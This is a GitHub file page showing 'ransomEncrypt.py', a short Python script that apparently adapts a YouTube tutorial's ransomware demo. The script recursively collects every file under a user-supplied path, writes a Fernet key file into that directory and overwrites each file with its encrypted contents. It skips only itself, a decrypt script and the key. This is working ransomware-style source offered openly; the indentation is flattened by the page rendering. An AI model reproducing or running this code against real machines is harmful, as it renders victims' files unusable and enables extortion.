-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathransomEncrypt.py
More file actions
42 lines (27 loc) · 1.18 KB
/
ransomEncrypt.py
File metadata and controls
42 lines (27 loc) · 1.18 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python3
import os
from cryptography.fernet import Fernet
path = input("Type the path to encrypt, just for practical purposes: ")
files = []
def iterator(directoryPath):
for item in os.listdir(directoryPath):
if item != __file__ and item != 'ransomDecrypt.py' and item != 'ransomKey.key':
item = os.path.join(directoryPath, item)
if os.path.isfile(item):
files.append(item)
elif os.path.isdir(item):
iterator(item)
try:
iterator(path)
except:
print("Upsss, something went wrong! Take a look for the typed path")
key = Fernet.generate_key()
with open(os.path.join(path, 'ransomKey.key'), "wb") as ransomKey:
ransomKey.write(key)
for file in files:
with open(file, "rb") as fileToEncrypt:
contents = fileToEncrypt.read()
contentsEncrypt = Fernet(key).encrypt(contents)
with open(file, "wb") as fileToEncrypt:
fileToEncrypt.write(contentsEncrypt)
# NOTE: THIS CODE WAS ORIGINALLY CREATED BY NETWORKCHUCK IN HIS YOUTUBE CHANNEL BUT I'VE MODIFIED IT IN SOME DETAILS AND ADDED NEW FUNCTIONALITIES